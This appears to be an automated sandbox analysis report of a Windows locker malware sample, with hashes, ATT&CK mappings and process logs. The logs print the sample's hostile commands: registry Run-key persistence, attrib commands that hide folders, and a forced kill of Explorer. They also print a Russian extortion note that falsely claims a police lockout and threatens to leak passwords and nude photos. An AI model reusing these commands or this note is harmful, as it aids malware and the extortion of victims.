ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb

Analysis

max time kernel
150s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
06/08/2026, 14:58

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
156.exe
Size 210KB
Sample260806-scddtstemb
SHA256 ed18c0333ef944797baa479213d0db317760faed52b87b08d972efda048eeacb
MD5 0bf9c0b1d4a43f5986fa08f087b04cae
SHA1 328b8542e3faeed47a959ab94ac2e4f1d39d2951
SHA512 10a1ed5bd4cbcd9e6181564ff149009e4b685e9310631cc95f51e5065e22f8017401f91e3f69ddd2985bde88ed35983c43e00b2b3322b9b5aca595e5125276c7
SSDEEP 6144:IEhfGkHBdZknRtjULx9aygCSCpMW90KImQijnfbCL:r++dij
TLSH
T18B244D98136AC93DC2BE27BED0A611060BF5B217D503E74CAFF8A0E66D37311A715A47
MD5 SHA1 SHA512 SSDEEP TLSH

Score

6^/10

defense_evasion persistence

Malware Config

Signatures

Adds Run key to start application 2 TTPs 10 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_1 = "AWindowsService.exe"	156.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_2 = "taskhost.exe"	156.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_3 = "windowsx-c.exe"	156.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_4 = "System.exe"	156.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_5 = "_default64.exe"	156.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_8 = "crypt0rsx.exe"	156.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\MSEdgeUpdateX = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\156.exe\""	156.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_6 = "native.exe"	156.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WIN32_7 = "ux-cryptor.exe"	156.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3797332335-34111092-3597280141-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsInstaller = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\156.exe\" -startup"	156.exe

Drops desktop.ini file(s) 4 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Public\Desktop\desktop.ini	attrib.exe
File opened for modification	C:\Users\Admin\Documents\desktop.ini	attrib.exe

Hide Artifacts: Hidden Files and Directories 1 TTPs 6 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
2484	cmd.exe
2476	cmd.exe
3360	cmd.exe
2500	cmd.exe
4732	cmd.exe
4736	cmd.exe

Kills process with taskkill 1 IoCs

defense_evasion

pid	Process
984	taskkill.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
908	156.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	908	156.exe
Token: SeDebugPrivilege	984	taskkill.exe

Suspicious use of WriteProcessMemory 19 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 4732	908	156.exe	90
PID 908 wrote to memory of 2500	908	156.exe	91
PID 908 wrote to memory of 3360	908	156.exe	92
PID 908 wrote to memory of 2476	908	156.exe	93
PID 908 wrote to memory of 2484	908	156.exe	94
PID 908 wrote to memory of 4736	908	156.exe	95
PID 908 wrote to memory of 984	908	156.exe	96
PID 2476 wrote to memory of 52	2476	cmd.exe	113
PID 2500 wrote to memory of 5796	2500	cmd.exe	115
PID 2476 wrote to memory of 2672	2476	cmd.exe	116
PID 4732 wrote to memory of 5136	4732	cmd.exe	117
PID 3360 wrote to memory of 6052	3360	cmd.exe	118
PID 2484 wrote to memory of 2964	2484	cmd.exe	119
PID 4736 wrote to memory of 4720	4736	cmd.exe	120
PID 4732 wrote to memory of 4448	4732	cmd.exe	121
PID 2500 wrote to memory of 3376	2500	cmd.exe	122
PID 3360 wrote to memory of 4360	3360	cmd.exe	123
PID 4736 wrote to memory of 2852	4736	cmd.exe	127
PID 2484 wrote to memory of 5776	2484	cmd.exe	126

Views/modifies file attributes 1 TTPs 12 IoCs

defense_evasion

Hidden Files and Directories

T1564.001

pid	Process
4720	attrib.exe
4448	attrib.exe
3376	attrib.exe
4360	attrib.exe
52	attrib.exe
5796	attrib.exe
2672	attrib.exe
5136	attrib.exe
5776	attrib.exe
2852	attrib.exe
6052	attrib.exe
2964	attrib.exe

C:\Users\Admin\AppData\Local\Temp\156.exe
"C:\Users\Admin\AppData\Local\Temp\156.exe"
1⤵
- Adds Run key to start application
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:908
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c F: & attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4732
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:5136
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4448
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2500
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:5796
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:3376
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%systemdrive%\Users\Public\Desktop"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:6052
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:4360
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\downloads"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2476
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:52
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2672
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%\documents"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:2484
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Drops desktop.ini file(s)
    - Views/modifies file attributes
    PID:2964
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:5776
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c cd "%userprofile%"&attrib +h +s +r +i /D & echo [%RANDOM%] компьютер был заблокирован властями за распространение детского порно,пиши в телеграм для разблокировки иначе твой компьютер расплавится+подарок все пароли и данные сольют включая твои голые фото 1>info-Locker.txt & attrib -h +s +r info-Locker.txt
  2⤵
  - Hide Artifacts: Hidden Files and Directories
  - Suspicious use of WriteProcessMemory
  PID:4736
- - C:\Windows\system32\attrib.exe
    attrib +h +s +r +i /D
    3⤵
    - Views/modifies file attributes
    PID:4720
- - C:\Windows\system32\attrib.exe
    attrib -h +s +r info-Locker.txt
    3⤵
    - Views/modifies file attributes
    PID:2852
- C:\Windows\SYSTEM32\taskkill.exe
  taskkill.exe /im Explorer.exe /f
  2⤵
  - Kills process with taskkill
  - Suspicious use of AdjustPrivilegeToken
  PID:984

C:\Users\Admin\AppData\Local\Temp\156.exe
"C:\Users\Admin\AppData\Local\Temp\156.exe" -startup
1⤵
PID:3996

C:\Users\Admin\AppData\Local\Temp\156.exe
"C:\Users\Admin\AppData\Local\Temp\156.exe"
1⤵
PID:3828

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

info-Locker.txt

Path C:\Users\Admin\Downloads\info-Locker.txt
Size 206B
SHA256 1a6f99c4c480eae1ecd2ad8806dcd851384b44e1428cb876d79125969bb81407
MD5 da2e9a427db2a430429f92db4e38dab6
SHA1 fe2a9ec43d72852c0ae64faa78b9e5a80983328c
SHA512 d0fdd03d3c2b2588f312bea1f75205e25964a5a20482d8d0d477111cf2fbf09762dbf6e184193ad2cf0a904fe98814b91cd55b84cb8247ad49bec8c5df921f34
MD5 SHA1 SHA512

Submit Download

info-Locker.txt

Path C:\Users\Public\Desktop\info-Locker.txt
Size 206B
SHA256 63ceb5769d4de5482e218cb02076f1ac67f2f86de5a91d7618fb9edc7067a477
MD5 fe21e0d6b938e12c41cad1b332853a40
SHA1 7ec8e5c5136994efc8f7a23d2d89c4a9fec0e47b
SHA512 4b0897dbdced2e7cb33e706b5cb2d2dde9783acf751bf7a0fb8095381266758e36eacc2e9a531ec5916895717f15ca15e09ffc8c21bd2de90ebaa07e9d7d4709
MD5 SHA1 SHA512

Submit Download

info-Locker.txt

Path F:\info-Locker.txt
Size 206B
SHA256 b4b5b3b15eb9683a632547ea78783822d28a8a9b6dc5ea60fcc21ab2dbb9fb68
MD5 2905a1c59111c822e25668f1202044cd
SHA1 1548014edf7009a5026a2c3ebfb586ff75ce4e5f
SHA512 7d370aa3f464a17ac86f1bc95ae9dda16d17d7aa8b44cb151a54bda8cbaa0f9f174ceffdcf6bb9e1a4903326358d38e229583174046953481da310109953b9c1
MD5 SHA1 SHA512

Submit Download

memory/908-14-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-3-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-5-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-6-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-7-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-8-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-13-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-0-0x00007FFB195CF000-0x00007FFB195D0000-memory.dmp

Download

memory/908-12-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-4-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-2-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-1-0x00000000008F0000-0x000000000092A000-memory.dmp

Download

memory/908-27-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-28-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-29-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-30-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-31-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download

memory/908-32-0x00007FFB19440000-0x00007FFB19DE4000-memory.dmp

Download